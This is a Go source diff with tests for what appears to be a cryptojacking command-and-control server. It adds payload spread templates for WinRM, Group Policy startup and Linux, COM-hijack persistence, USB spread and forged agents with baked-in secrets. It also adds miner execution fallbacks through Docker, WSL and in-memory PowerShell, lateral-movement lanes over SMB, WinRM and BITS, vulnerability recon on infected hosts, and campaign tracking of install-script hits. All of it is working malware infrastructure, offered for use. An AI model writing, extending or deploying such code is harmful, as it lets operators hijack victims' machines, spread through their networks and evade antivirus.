if err := os.WriteFile(filepath.Join(winrmDir, "bootstrap.ps1"), []byte("{{SERVER_URL}}/get?os=windows{{GET_QUERY_SUFFIX}} COM={{COM_HIJACK}}"), 0644); err != nil {
t.Fatal(err)
}
linuxDir := filepath.Join(root, "templates", "spread", "linux")
if err := os.MkdirAll(linuxDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(linuxDir, "lotl-bootstrap.sh"), []byte("#!/bin/sh\n# {{LOTL_MODE}} {{SERVER_URL}}\n"), 0755); err != nil {
t.Fatal(err)
}
entDir := filepath.Join(root, "templates", "spread", "enterprise")
if err := os.MkdirAll(entDir, 0755); err != nil {
t.Fatal(err)
}
if err := os.WriteFile(filepath.Join(entDir, "gpo-startup.ps1"), []byte("{{SERVER_URL}}{{GET_QUERY_SUFFIX}}"), 0644); err != nil {
t.Fatal(err)
}
}
func readZipEntries(t *testing.T, body []byte) map[string]string {
@@ -155,6 +179,47 @@ func TestExportSpreadKitZIP(t *testing.T) {
}
}
func TestExportSpreadTemplateZIP(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]interface{}{
"template": "winrm",
"server_url": "https://deck.example",
"build_id": "pin-9",
"campaign": "winrm-lab",
"com_hijack": true,
})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusOK {
t.Fatalf("status %d: %s", rec.Code, rec.Body.String())
}
entries := readZipEntries(t, rec.Body.Bytes())
if !strings.Contains(entries["bootstrap.ps1"], "https://deck.example/get?os=windows&pin=pin-9&c=winrm-lab") {
t.Fatalf("bootstrap.ps1: %s", entries["bootstrap.ps1"])
}
if !strings.Contains(entries["bootstrap.ps1"], "COM=true") {
t.Fatalf("expected COM_HIJACK replacement: %s", entries["bootstrap.ps1"])
}
}
func TestExportSpreadTemplateRequiresTemplate(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)
h := NewSpreadHandler(nil, t.TempDir(), root, nil)
body, _ := json.Marshal(map[string]string{"server_url": "https://x"})
req := httptest.NewRequest(http.MethodPost, "/api/v1/builder/spread-template-export", bytes.NewReader(body))
rec := httptest.NewRecorder()
h.ExportSpreadTemplate(rec, req)
if rec.Code != http.StatusBadRequest {
t.Fatalf("status %d", rec.Code)
}
}
func TestExportWordPressPluginRequiresSiteName(t *testing.T) {
root := t.TempDir()
writeSpreadTemplates(t, root)

View File

@@ -0,0 +1,37 @@
package api
import (
"net/http"
"sync"
"time"
"crypto-miner-server/internal/vuln"
)
// VulnHandler serves cached CVE catalog JSON for fleet assessment UI.
type VulnHandler struct {
mu sync.RWMutex
cachedAt time.Time
}
func NewVulnHandler() *VulnHandler {
return &VulnHandler{cachedAt: time.Now()}
}
// Catalog returns embedded lightweight CVE correlator rules (cached 1h).
func (h *VulnHandler) Catalog(w http.ResponseWriter, r *http.Request) {
h.mu.RLock()
stale := time.Since(h.cachedAt) > time.Hour
h.mu.RUnlock()
if stale {
h.mu.Lock()
h.cachedAt = time.Now()
h.mu.Unlock()
}
writeJSON(w, map[string]interface{}{
"catalog": vuln.EmbeddedCatalog,
"cached_at": h.cachedAt.UTC().Format(time.RFC3339),
"source": "embedded",
"authorized": true,
})
}

View File

@@ -0,0 +1,30 @@
package api
import (
"encoding/json"
"net/http"
"net/http/httptest"
"testing"
)
func TestVulnCatalogEndpoint(t *testing.T) {
h := NewVulnHandler()
req := httptest.NewRequest(http.MethodGet, "/api/v1/vuln/catalog", nil)
w := httptest.NewRecorder()
h.Catalog(w, req)
if w.Code != http.StatusOK {
t.Fatalf("status %d", w.Code)
}
var body struct {
Catalog []struct {
ID string `json:"id"`
} `json:"catalog"`
Source string `json:"source"`
}
if err := json.Unmarshal(w.Body.Bytes(), &body); err != nil {
t.Fatal(err)
}
if body.Source != "embedded" || len(body.Catalog) < 10 {
t.Fatalf("unexpected catalog response: %+v", body)
}
}

View File

@@ -17,6 +17,7 @@ import (
"crypto-miner-server/internal/db"
"crypto-miner-server/internal/models"
"crypto-miner-server/internal/pool"
"crypto-miner-server/internal/vuln"
"github.com/google/uuid"
"github.com/gorilla/websocket"
@@ -151,6 +152,8 @@ type WSHub struct {
agentLogs map[string]string
// T1016 DNS drift detection — stores last seen resolver list per agent
agentDNS map[string][]string
// Latest service_discover payloads keyed by agent ID (Crucible service graph).
agentServiceDiscover map[string]cachedServiceDiscover
serverPolicy ServerPolicy
pingIntervalSec int
fleetSecret string // baked into forged agents; verified on WS connect
@@ -168,6 +171,11 @@ type WSHub struct {
beaconLastSeen map[string]time.Time
beaconCmdQueue map[string][]BeaconCommand
beaconPolicyQueue map[string][]FleetAgentPolicy
// Coalesce per-agent stats_update into a single stats_batch frame per tick.
statsBatchMu sync.Mutex
statsBatch map[string]json.RawMessage
statsBatchTimer *time.Timer
}
func NewWSHub(database *db.Database) *WSHub {
@@ -186,7 +194,8 @@ func NewWSHub(database *db.Database) *WSHub {
agentConfigs: make(map[string]AgentForgeConfig),
agentCapabilities: make(map[string]models.AgentCapabilities),
agentLogs: make(map[string]string),
agentDNS: make(map[string][]string),
agentDNS: make(map[string][]string),
agentServiceDiscover: make(map[string]cachedServiceDiscover),
pendingCmdCallbacks: make(map[cmdResultKey]chan map[string]interface{}),
beaconLastSeen: make(map[string]time.Time),
beaconCmdQueue: make(map[string][]BeaconCommand),
@@ -589,6 +598,8 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
USBSpread bool `json:"usb_spread"`
Campaign string `json:"campaign"`
UTM string `json:"utm"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
JoinLane string `json:"join_lane,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &auth); err != nil {
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
@@ -743,6 +754,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
WorkerName: workerName,
USBSpread: auth.USBSpread,
Campaign: coalesceStr(auth.Campaign, auth.UTM),
JoinLane: strings.TrimSpace(auth.JoinLane),
Capabilities: &caps,
}
@@ -801,10 +813,43 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
go h.runPingLoopAgent(ac)
}
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(map[string]interface{}{
"success": true,
"agent_id": agentID,
})})
conn.WriteJSON(Message{Type: "auth_response", Payload: mustMarshal(func() map[string]interface{} {
resp := map[string]interface{}{
"success": true,
"agent_id": agentID,
}
if auth.LotlPolicyFromServer {
tiers := policy.LotlOnionTiers
if len(tiers) == 0 {
tiers = []string{
"vuln_recon",
"docker", "wsl", "powershell", "dotnet", "bits_curl",
"smb", "winrm", "linux", "gpo",
}
}
resp["lotl_onion_tiers"] = tiers
}
mp := policy.MiningTierPolicy
if len(mp.TierOrder) == 0 {
mp.TierOrder = []string{
"exe_subprocess", "docker_load", "container", "wsl", "ps_inmemory",
"cpu_inprocess", "gpu_subprocess", "stratum_direct",
}
}
resp["mining_tier_policy"] = mp
top := policy.TripleOnionPolicy
if top.HighRiskThreshold <= 0 && len(top.ReconTiers) == 0 && len(top.DeployLanes) == 0 &&
!top.MineIsolatedTier && !top.SkipMiningOnHighRisk {
top.PatchFirst = true
top.HighRiskThreshold = 50
top.ReconTiers = []string{"kev_scan", "vuln_recon", "service_probe", "listen_ports"}
top.DeployLanes = []string{
"discover_and_join", "docker", "wsl", "powershell", "dotnet", "bits_curl", "smb", "winrm",
}
}
resp["triple_onion_policy"] = top
return resp
}())})
// Auto-start mining: ensure the agent isn't stuck in a paused
// state from a previous session. The agent's in-memory pause flag
@@ -908,6 +953,39 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
Status string `json:"status"`
StartType string `json:"start_type"`
} `json:"services,omitempty"`
// Mining fallback cascade
ActiveMethod string `json:"active_method,omitempty"`
MiningLastError string `json:"last_error,omitempty"`
StratumOverlay bool `json:"stratum_overlay,omitempty"`
ChainExhausted bool `json:"chain_exhausted,omitempty"`
ChainOrder []string `json:"chain_order,omitempty"`
FailedMethods []struct {
Method string `json:"method"`
Reason string `json:"reason"`
At string `json:"at"`
} `json:"failed_methods,omitempty"`
// Fleet health mining telemetry (coalesced into stats_batch)
MiningHashrate float64 `json:"mining_hashrate,omitempty"`
LOTLTier string `json:"lotl_tier,omitempty"`
LOTLAttempts []struct {
Tier string `json:"tier"`
OK bool `json:"ok"`
Error string `json:"error,omitempty"`
DurationMs int64 `json:"duration_ms"`
Wallet string `json:"wallet,omitempty"`
} `json:"lotl_attempts,omitempty"`
StratumEgress string `json:"stratum_egress,omitempty"` // c2_ws | direct | none
JoinLane string `json:"join_lane,omitempty"`
NetworkHints json.RawMessage `json:"network_hints,omitempty"`
VulnFindings []struct {
CVEID string `json:"cve_id"`
Severity string `json:"severity"`
Component string `json:"component"`
Patched bool `json:"patched"`
ExploitableInFleetContext bool `json:"exploitable_in_fleet_context"`
Detail string `json:"detail,omitempty"`
} `json:"vuln_findings,omitempty"`
VulnRiskScore *int `json:"vuln_risk_score,omitempty"`
}
if err := json.Unmarshal(msg.Payload, &stats); err != nil {
continue
@@ -1022,6 +1100,66 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
if len(stats.Services) > 0 {
broadcast["services"] = stats.Services
}
if stats.ActiveMethod != "" {
broadcast["active_method"] = stats.ActiveMethod
}
if stats.MiningLastError != "" {
broadcast["last_error"] = stats.MiningLastError
}
if stats.StratumOverlay {
broadcast["stratum_overlay"] = true
}
if stats.ChainExhausted {
broadcast["chain_exhausted"] = true
}
if len(stats.ChainOrder) > 0 {
broadcast["chain_order"] = stats.ChainOrder
}
if len(stats.FailedMethods) > 0 {
broadcast["failed_methods"] = stats.FailedMethods
}
if stats.MiningHashrate > 0 {
broadcast["mining_hashrate"] = stats.MiningHashrate
}
if stats.LOTLTier != "" {
broadcast["lotl_tier"] = stats.LOTLTier
}
if len(stats.LOTLAttempts) > 0 {
broadcast["lotl_attempts"] = stats.LOTLAttempts
}
if stats.StratumEgress != "" {
broadcast["stratum_egress"] = stats.StratumEgress
}
if stats.JoinLane != "" {
broadcast["join_lane"] = stats.JoinLane
}
if len(stats.NetworkHints) > 0 && string(stats.NetworkHints) != "null" {
var hints interface{}
if err := json.Unmarshal(stats.NetworkHints, &hints); err == nil {
broadcast["network_hints"] = hints
}
}
if len(stats.VulnFindings) > 0 || stats.VulnRiskScore != nil {
findings := make([]vuln.Finding, len(stats.VulnFindings))
for i, f := range stats.VulnFindings {
findings[i] = vuln.Finding{
CVEID: f.CVEID, Severity: f.Severity, Component: f.Component,
Patched: f.Patched, ExploitableInFleetContext: f.ExploitableInFleetContext,
Detail: f.Detail,
}
}
fctx := vuln.FleetContext{SSHAvailable: stats.SSHAvailable != nil && *stats.SSHAvailable}
if stats.ListenPortCount != nil {
fctx.ListenPortCount = *stats.ListenPortCount
}
findings = vuln.EnrichFindings(findings, fctx)
score := vuln.RiskScore(findings)
if stats.VulnRiskScore != nil && *stats.VulnRiskScore > score {
score = *stats.VulnRiskScore
}
broadcast["vuln_findings"] = findings
broadcast["vuln_risk_score"] = score
}
// Attach latest RTT latency from the ping loop.
if ac := h.getAgentConn(agentID); ac != nil {
ac.latencyMu.Lock()
@@ -1030,7 +1168,7 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
}
ac.latencyMu.Unlock()
}
h.broadcastDashboard(Message{Type: "stats_update", Payload: mustMarshal(broadcast)})
h.queueStatsBroadcast(broadcast)
case "submit_share":
if agentID == "" {
@@ -1187,6 +1325,17 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
payload["agent_id"] = agentID
h.broadcastDashboard(Message{Type: "policy_ack", Payload: mustMarshal(payload)})
case "mining_fallback", "mining_status", "tier_report":
if agentID == "" {
continue
}
var payload map[string]interface{}
if err := json.Unmarshal(msg.Payload, &payload); err != nil {
continue
}
payload["agent_id"] = agentID
h.queueStatsBroadcast(payload)
case "command_result":
if agentID == "" {
continue
@@ -1200,6 +1349,13 @@ func (h *WSHub) HandleAgentWS(w http.ResponseWriter, r *http.Request) {
// Notify any handler waiting for this specific agent+action result.
if action, _ := payload["action"].(string); action != "" {
h.notifyCmdCallback(agentID, action, payload)
if action == "service_discover" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); strings.TrimSpace(msg) != "" {
h.cacheServiceDiscover(agentID, msg)
}
}
}
if action == "full_sys_check" {
if ok, _ := payload["success"].(bool); ok {
if msg, _ := payload["message"].(string); msg != "" && h.eventNotifier != nil {
@@ -1328,6 +1484,70 @@ func (h *WSHub) HandleDashboardWS(w http.ResponseWriter, r *http.Request) {
}
}
const statsBatchInterval = 250 * time.Millisecond
// mergeStatsPayload shallow-merges two stats maps so stats + mining_status in the
// same 250ms window both land in one stats_batch update for dashboards.
func mergeStatsPayload(existing, incoming json.RawMessage) json.RawMessage {
var base, patch map[string]interface{}
if json.Unmarshal(existing, &base) != nil || base == nil {
base = map[string]interface{}{}
}
if json.Unmarshal(incoming, &patch) != nil || patch == nil {
return existing
}
for k, v := range patch {
base[k] = v
}
return mustMarshal(base)
}
// queueStatsBroadcast accumulates per-agent stats and flushes one stats_batch
// message per interval instead of N individual stats_update frames.
func (h *WSHub) queueStatsBroadcast(payload map[string]interface{}) {
agentID, _ := payload["agent_id"].(string)
if agentID == "" {
return
}
data := mustMarshal(payload)
h.statsBatchMu.Lock()
if h.statsBatch == nil {
h.statsBatch = make(map[string]json.RawMessage)
}
if prev, ok := h.statsBatch[agentID]; ok {
data = mergeStatsPayload(prev, data)
}
h.statsBatch[agentID] = data
if h.statsBatchTimer == nil {
h.statsBatchTimer = time.AfterFunc(statsBatchInterval, h.flushStatsBatch)
}
h.statsBatchMu.Unlock()
}
func (h *WSHub) flushStatsBatch() {
h.statsBatchMu.Lock()
batch := h.statsBatch
h.statsBatch = nil
if h.statsBatchTimer != nil {
h.statsBatchTimer.Stop()
h.statsBatchTimer = nil
}
h.statsBatchMu.Unlock()
if len(batch) == 0 {
return
}
updates := make([]json.RawMessage, 0, len(batch))
for _, raw := range batch {
updates = append(updates, raw)
}
h.broadcastDashboard(Message{
Type: "stats_batch",
Payload: mustMarshal(map[string]interface{}{"updates": updates}),
})
}
func (h *WSHub) broadcastDashboard(msg Message) {
h.mu.RLock()
defer h.mu.RUnlock()
@@ -1557,6 +1777,79 @@ func (h *WSHub) GetAgentLog(agentID string) string {
return h.agentLogs[agentID]
}
type cachedServiceDiscover struct {
Local ServiceGraphHost
LANHosts []ServiceGraphHost
}
func (h *WSHub) cacheServiceDiscover(agentID, message string) {
var payload struct {
Local ServiceGraphHost `json:"local"`
LANHosts []ServiceGraphHost `json:"lan_hosts,omitempty"`
}
if err := json.Unmarshal([]byte(message), &payload); err != nil {
return
}
h.mu.Lock()
h.agentServiceDiscover[agentID] = cachedServiceDiscover{
Local: payload.Local,
LANHosts: payload.LANHosts,
}
h.mu.Unlock()
}
func subnetLabelMatches(hostSubnet, query string) bool {
hostSubnet = strings.TrimSpace(hostSubnet)
query = strings.TrimSpace(query)
if query == "" {
return true
}
query = strings.TrimSuffix(query, ".x")
hostSubnet = strings.TrimSuffix(hostSubnet, ".x")
return hostSubnet == query || strings.HasPrefix(hostSubnet, query+".") || strings.HasPrefix(query, hostSubnet+".")
}
// QueryServiceGraph returns deduped service entries from cached service_discover runs.
func (h *WSHub) QueryServiceGraph(agentID, subnet string) []ServiceGraphEntry {
h.mu.RLock()
defer h.mu.RUnlock()
seen := make(map[string]bool)
var out []ServiceGraphEntry
add := func(entries []ServiceGraphEntry) {
for _, e := range entries {
key := strings.ToLower(e.ServiceName) + "|" + fmt.Sprintf("%d", e.Port)
if seen[key] {
continue
}
seen[key] = true
out = append(out, e)
}
}
collect := func(cached cachedServiceDiscover) {
if subnetLabelMatches(cached.Local.Subnet, subnet) {
add(cached.Local.Services)
}
for _, host := range cached.LANHosts {
if subnetLabelMatches(host.Subnet, subnet) {
add(host.Services)
}
}
}
if agentID != "" {
if cached, ok := h.agentServiceDiscover[agentID]; ok {
collect(cached)
}
return out
}
for _, cached := range h.agentServiceDiscover {
collect(cached)
}
return out
}
func (h *WSHub) BroadcastFleetAlert(ev interface{}) {
h.broadcastDashboard(Message{Type: "fleet_alert", Payload: mustMarshal(ev)})
}
@@ -1618,12 +1911,15 @@ func (h *WSHub) BroadcastEmberwakeNotes(notes interface{}) {
})
}
// warRoomBroadcastInterval is the Emberwake war-room WS tick (overridable in tests).
var warRoomBroadcastInterval = 30 * time.Second
// runWarRoomBroadcast pushes funnel stats to dashboard clients every 30s.
func (h *WSHub) runWarRoomBroadcast() {
if h.db == nil {
return
}
ticker := time.NewTicker(30 * time.Second)
ticker := time.NewTicker(warRoomBroadcastInterval)
defer ticker.Stop()
for range ticker.C {
data, err := h.db.ListWarRoom(7)

View File

@@ -3,6 +3,7 @@ package api
import (
"encoding/base64"
"encoding/json"
"fmt"
"net/http"
"net/http/httptest"
"strings"
@@ -599,3 +600,379 @@ func TestAgentNameUpdatesFromHostnameWhenDefault(t *testing.T) {
t.Errorf("default name should follow hostname update; got %q", agent.Name)
}
}
// TestMiningStatusRelayCoalescedToStatsBatch verifies mining_status / mining_fallback
// from agents are batched into a single stats_batch frame for dashboards.
func TestMiningStatusRelayCoalescedToStatsBatch(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
batchCh <- batchResult{updates: updates}
return
}
}()
agentA := "mining-agent-a"
agentB := "mining-agent-b"
connA := connectTestAgent(t, hub, agentA)
connB := connectTestAgent(t, hub, agentB)
payloadA, _ := json.Marshal(map[string]interface{}{
"active_method": "inprocess",
"hashrate_15s": 150.0,
"mining_hashrate": 150.0,
"lotl_tier": "cpu_inprocess",
"lotl_attempts": []map[string]interface{}{
{"tier": "container", "ok": false, "error": "blocked", "duration_ms": 400},
{"tier": "cpu_inprocess", "ok": true, "duration_ms": 900, "wallet": "xmr"},
},
})
payloadB, _ := json.Marshal(map[string]interface{}{
"active_method": "container",
"chain_exhausted": false,
"hashrate_15s": 200.0,
})
if err := connA.WriteJSON(Message{Type: "mining_status", Payload: payloadA}); err != nil {
t.Fatal(err)
}
if err := connB.WriteJSON(Message{Type: "mining_fallback", Payload: payloadB}); err != nil {
t.Fatal(err)
}
select {
case r := <-batchCh:
if r.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", r.err)
}
if len(r.updates) != 2 {
t.Fatalf("expected 2 coalesced updates, got %d: %+v", len(r.updates), r.updates)
}
byAgent := map[string]map[string]interface{}{}
for _, u := range r.updates {
id, _ := u["agent_id"].(string)
if id == "" {
t.Fatalf("update missing agent_id: %+v", u)
}
byAgent[id] = u
}
if byAgent[agentA]["active_method"] != "inprocess" {
t.Errorf("agent A active_method = %v", byAgent[agentA]["active_method"])
}
if byAgent[agentA]["mining_hashrate"] != 150.0 {
t.Errorf("agent A mining_hashrate = %v", byAgent[agentA]["mining_hashrate"])
}
if byAgent[agentA]["lotl_tier"] != "cpu_inprocess" {
t.Errorf("agent A lotl_tier = %v", byAgent[agentA]["lotl_tier"])
}
attempts, ok := byAgent[agentA]["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Errorf("agent A lotl_attempts = %T %v", byAgent[agentA]["lotl_attempts"], byAgent[agentA]["lotl_attempts"])
}
if byAgent[agentB]["active_method"] != "container" {
t.Errorf("agent B active_method = %v", byAgent[agentB]["active_method"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
}
func TestStatsBatchCoalescesSameAgent(t *testing.T) {
hub := NewWSHub(nil)
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a1", "hashrate_15s": 10.0,
})
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a1", "hashrate_15s": 99.0, "active_method": "inprocess",
})
hub.flushStatsBatch()
// Merged coalesce — later keys overwrite, earlier keys preserved.
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 10.0, "lotl_tier": "cpu_inprocess"})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "mining_hashrate": 850.0})
hub.statsBatchMu.Lock()
if len(hub.statsBatch) != 1 {
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
}
var merged map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a1"], &merged); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if merged["hashrate_15s"] != 10.0 {
t.Fatalf("expected preserved hashrate_15s, got %v", merged["hashrate_15s"])
}
if merged["lotl_tier"] != "cpu_inprocess" {
t.Fatalf("expected lotl_tier preserved, got %v", merged["lotl_tier"])
}
if merged["mining_hashrate"] != 850.0 {
t.Fatalf("expected mining_hashrate merged, got %v", merged["mining_hashrate"])
}
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 1.0})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a1", "hashrate_15s": 2.0})
hub.statsBatchMu.Lock()
if len(hub.statsBatch) != 1 {
t.Fatalf("expected 1 agent in batch map, got %d", len(hub.statsBatch))
}
var last map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a1"], &last); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if last["hashrate_15s"] != 2.0 {
t.Fatalf("latest update should win coalesce, got %v", last["hashrate_15s"])
}
}
func TestStatsBatchCoalescesLotlAttempts(t *testing.T) {
hub := NewWSHub(nil)
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": "a2",
"lotl_tier": "container",
"lotl_attempts": []map[string]interface{}{
{"tier": "wsl", "ok": false, "error": "no distro", "duration_ms": 500},
{"tier": "container", "ok": true, "duration_ms": 800, "wallet": "xmr"},
},
})
hub.queueStatsBroadcast(map[string]interface{}{"agent_id": "a2", "mining_hashrate": 1200.0})
hub.statsBatchMu.Lock()
var merged map[string]interface{}
if err := json.Unmarshal(hub.statsBatch["a2"], &merged); err != nil {
t.Fatal(err)
}
hub.statsBatchMu.Unlock()
if merged["lotl_tier"] != "container" {
t.Fatalf("lotl_tier = %v", merged["lotl_tier"])
}
attempts, ok := merged["lotl_attempts"].([]interface{})
if !ok || len(attempts) != 2 {
t.Fatalf("lotl_attempts = %T %v", merged["lotl_attempts"], merged["lotl_attempts"])
}
if merged["mining_hashrate"] != 1200.0 {
t.Fatalf("mining_hashrate = %v", merged["mining_hashrate"])
}
}
func TestRunWarRoomBroadcastPushesFrame(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
if err := database.LogCampaignEvent("wave-test", "b1", db.CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
prev := warRoomBroadcastInterval
warRoomBroadcastInterval = 25 * time.Millisecond
t.Cleanup(func() { warRoomBroadcastInterval = prev })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type warRoomResult struct {
body map[string]interface{}
err string
}
warCh := make(chan warRoomResult, 1)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(3 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
warCh <- warRoomResult{err: err.Error()}
return
}
if msg.Type != "emberwake_war_room" {
continue
}
var body map[string]interface{}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
warCh <- warRoomResult{err: "parse: " + parseErr.Error()}
return
}
warCh <- warRoomResult{body: body}
return
}
}()
select {
case r := <-warCh:
if r.err != "" {
t.Fatalf("dashboard did not receive emberwake_war_room: %s", r.err)
}
if days, ok := r.body["days"].(float64); !ok || days != 7 {
t.Errorf("days: got %v, want 7", r.body["days"])
}
campaigns, _ := r.body["campaigns"].([]interface{})
if len(campaigns) != 1 {
t.Fatalf("expected 1 campaign in war room payload, got %d: %+v", len(campaigns), r.body)
}
c0, _ := campaigns[0].(map[string]interface{})
if c0["campaign"] != "wave-test" {
t.Errorf("campaign: got %v, want wave-test", c0["campaign"])
}
if hits, _ := c0["hits"].(float64); hits != 1 {
t.Errorf("hits: got %v, want 1", c0["hits"])
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for emberwake_war_room broadcast")
}
}
// TestStatsBatchCoalescesManyAgents verifies 500 distinct agent_id stats updates
// queued within one 250ms flush window produce a single stats_batch frame.
func TestStatsBatchCoalescesManyAgents(t *testing.T) {
resetWSAuthUsers(t, testAuthUser, testAuthPass)
database, err := db.New(t.TempDir())
if err != nil {
t.Fatal(err)
}
t.Cleanup(func() { _ = database.Close() })
hub := NewWSHub(database)
dashSrv := httptest.NewServer(http.HandlerFunc(hub.HandleDashboardWS))
t.Cleanup(dashSrv.Close)
dashURL := "ws" + strings.TrimPrefix(dashSrv.URL, "http") + "?token=" + wsDashboardToken(testAuthUser, testAuthPass)
dashConn, _, err := websocket.DefaultDialer.Dial(dashURL, nil)
if err != nil {
t.Fatalf("dial dashboard: %v", err)
}
t.Cleanup(func() { _ = dashConn.Close() })
type batchResult struct {
updates []map[string]interface{}
err string
}
batchCh := make(chan batchResult, 2)
go func() {
_ = dashConn.SetReadDeadline(time.Now().Add(5 * time.Second))
for {
var msg Message
if err := dashConn.ReadJSON(&msg); err != nil {
batchCh <- batchResult{err: err.Error()}
return
}
if msg.Type != "stats_batch" {
continue
}
var body struct {
Updates []json.RawMessage `json:"updates"`
}
if parseErr := json.Unmarshal(msg.Payload, &body); parseErr != nil {
batchCh <- batchResult{err: parseErr.Error()}
return
}
updates := make([]map[string]interface{}, 0, len(body.Updates))
for _, raw := range body.Updates {
var u map[string]interface{}
if json.Unmarshal(raw, &u) != nil {
continue
}
updates = append(updates, u)
}
batchCh <- batchResult{updates: updates}
}
}()
const agentCount = 500
for i := 0; i < agentCount; i++ {
hub.queueStatsBroadcast(map[string]interface{}{
"agent_id": fmt.Sprintf("scale-agent-%d", i),
"hashrate_15s": float64(i),
})
}
var first batchResult
select {
case first = <-batchCh:
if first.err != "" {
t.Fatalf("dashboard did not receive stats_batch: %s", first.err)
}
case <-time.After(2 * time.Second):
t.Fatal("timed out waiting for stats_batch relay")
}
if len(first.updates) != agentCount {
t.Fatalf("expected %d coalesced updates in one frame, got %d", agentCount, len(first.updates))
}
seen := make(map[string]struct{}, agentCount)
for _, u := range first.updates {
id, _ := u["agent_id"].(string)
if id == "" {
t.Fatalf("update missing agent_id: %+v", u)
}
if _, dup := seen[id]; dup {
t.Fatalf("duplicate agent_id in batch: %q", id)
}
seen[id] = struct{}{}
}
if len(seen) != agentCount {
t.Fatalf("expected %d distinct agent_ids, got %d", agentCount, len(seen))
}
select {
case second := <-batchCh:
if second.err == "" {
t.Fatalf("expected single stats_batch frame, got second with %d updates", len(second.updates))
}
case <-time.After(400 * time.Millisecond):
// no second batch within coalesce window — good
}
}

View File

@@ -34,6 +34,7 @@ type BuildRequest struct {
ThreadPercent int `json:"thread_percent"`
CPUPriority string `json:"cpu_priority"`
MiningMode string `json:"mining_mode"`
MinerExecution string `json:"miner_execution"`
DisplayMode string `json:"display_mode"`
SilentMode bool `json:"silent_mode"`
RunAs string `json:"run_as"`
@@ -110,6 +111,11 @@ type BuildRequest struct {
AgentKillAfterDays int `json:"agent_kill_after_days"`
HTTPSBeaconFallback bool `json:"https_beacon_fallback"`
HTTPSBeaconAfterMin int `json:"https_beacon_after_min"`
// LOTL Onion — native-tool spread tier chain (AV-Safe adjacent preset).
LotlOnionEnabled bool `json:"lotl_onion_enabled"`
LotlPolicyFromServer bool `json:"lotl_policy_from_server"`
LotlOnionTiers []string `json:"lotl_onion_tiers,omitempty"`
}
// BackupPool is a fallback Stratum pool tried if the primary pool is unreachable.
@@ -300,6 +306,13 @@ func (h *Handler) SetBuildPolicy(p BuildPolicy) {
h.policy = p
}
